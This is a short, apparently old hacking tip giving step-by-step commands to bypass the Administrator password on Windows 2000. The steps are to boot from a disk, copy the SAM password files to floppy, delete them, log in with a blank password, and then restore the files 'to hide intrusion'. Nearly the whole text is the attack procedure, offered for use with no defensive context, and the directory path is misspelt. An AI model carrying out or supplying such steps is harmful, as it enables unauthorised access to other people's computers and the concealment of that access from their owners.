Get in windows 2000 as Administrator

 NOTE: Requires a boot disk.

 Get the command prompt and go to C:\winnt\sytem32\config\ and do
the following commands:
attrib -a -r -h
 copy sam.* a:\
del Sam.*

 reboot the computer. there should be no administrator password.
just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion.